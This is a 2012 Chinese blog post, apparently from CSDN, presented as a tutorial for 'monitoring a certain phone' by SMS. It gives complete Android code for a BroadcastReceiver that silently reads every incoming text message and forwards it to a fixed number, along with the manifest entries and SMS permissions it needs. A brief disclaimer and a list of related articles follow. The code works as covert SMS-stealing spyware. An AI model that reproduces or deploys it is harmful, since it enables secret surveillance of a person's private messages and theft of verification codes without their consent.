《Online学习》Android实现短信监听,监听某个手机。

原创 2012年03月22日 17:46:26

申明:本文纯粹是为了技术交流,非法使用相关技术后果自负。

 

第一步:新建项目,编写SmsReceiver类继承自BroadcastReceiver类,编写onReceive方法代码如下:

com.feioh.SmsReceiver

SmsReceiver.java

package com.feioh;

import android.content.BroadcastReceiver;

import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

/**
 * 
 * @author yalin
 *
 */
public class SmsReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		// 获取intent中的内容
		Bundle bundle = intent.getExtras();
		// message用于存放短信内容
		StringBuilder message = new StringBuilder();
		// 短信服务类,MS现在已经被android.telephony.SmsMessage取代
		SmsMessage sms = null;
		// 短信管理类,以便于发送短信
		SmsManager manager = null;
		if (bundle != null) {
			// 获取bundle里面的内容
			Object[] pdus = (Object[]) bundle.get("pdus");
			for (Object obj : pdus) {
				// 下面两行将短信内容取出加入到message中
				sms = SmsMessage.createFromPdu((byte[])obj);
				message.append(sms.getDisplayMessageBody());
			}
		}
		//将短信转发到指定的号码
		if (message.toString() != "") {
			manager = SmsManager.getDefault();
			manager.sendTextMessage("5554", null, message.toString(),
					null, null);
		}

	}
}

 

第二步:在功能清单文件中,加入短信过滤器

        <receiver android:name="com.feioh.SmsReceiver">
           <intent-filter>
                   <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
           </intent-filter>
       </receiver>


 


第三步:在功能清单文件中,加入相关权限

    <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
    <uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
    <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>



 

 

 

 

Android 6.0监听短信(有Git真好,简单方便+轻松愉快)

转载请注明出处:王亟亟的大牛之路最近在最后的任职期还被榨了一顿忙的飞起,不过今天是最后一天了,帮着处理个BUG就功德圆满了。然后最近在做一个手机间通信+XX监听的Demo,其中一部分是关于短信监听的...
  • ddwhan0123
  • ddwhan0123
  • 2016年07月01日 10:06
  • 8009

Android电话监听与短信监听

一、电话监听的两种方式1、使用PhoneStateListener进行电话监听/** * * @description 通过该实例,我们可以看到,如果我们想要监听电话的拨打状况,需要这么几...
  • hp910315
  • hp910315
  • 2015年11月26日 19:38
  • 1932

Android短信发送,监听,及其工具类封装

一,封装 :发送短信发送短信比较简单,主要有两种实现方式,一种是使用Intent通过系统短信应用,一种是直接调用短信接口发送短信;根据使用场景不同我一共封装了三个方法:...
  • u012585964
  • u012585964
  • 2016年07月20日 02:47
  • 2747

android--监听短信实现短信验证码自动填充

android中短信验证码的自动填充
  • biaobiao1217
  • biaobiao1217
  • 2016年07月08日 14:51
  • 1045

Android短信监听实现,及Android4.4之后短信机制变更

前阵子公司有一个项目,简单的监听短信应用,功能只有如下两个: 1.监听短信并获取短信内容上传服务器; 2.从服务器获取短信内容,发送出去    按照传统的思路,监听短信我们有两种方式...
  • m0_37136295
  • m0_37136295
  • 2017年05月04日 10:51
  • 2194

Android开发之监听或获取手机短信内容

最近做的项目里要监听手机的短消息内容,这个东西好像在最初学的时候都做过,不过现在早忘记了,现在写下来,记住了。 前提--权限: [java] view plain ...
  • zhuiqiuk
  • zhuiqiuk
  • 2016年12月12日 22:02
  • 1383

Android 使用ContentObserver监听短信的变化,并发送信息给特定的手机号码

public class ObserverActivity extends Activity implements OnClickListener { protected static fina...
  • lovoo
  • lovoo
  • 2016年04月17日 07:53
  • 767

Android开发之监听发出的短信

预备知识: 为了监听指定的ContentProvider的数据的改变,需要通过ContentResolver向指定Uri注册CotentObserver监听器。ContentResolver提供了如下...
  • fengyuzhengfan
  • fengyuzhengfan
  • 2014年07月20日 14:01
  • 2201

android发送短信带监听是否发送成功功能

很多时候我们需要用到自动发短信的功能,那么我们应该知道如何发送短信。在此,以一个简单的例子说明如何发送短信。 首先我们在布局文件中布两个输入框(EditText),一个做为电话号码输入框,一个做为短信...
  • u012778827
  • u012778827
  • 2014年01月24日 21:23
  • 1253

Android 短信接收监听

实现了短信接收监听,当接收到短信时,可自动回复短信,或自动回拨电话,同时监听短信的发送状态...
  • yangwen123
  • yangwen123
  • 2013年09月04日 16:45
  • 4590
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:《Online学习》Android实现短信监听,监听某个手机。
举报原因:
原因补充:

(最多只允许输入30个字)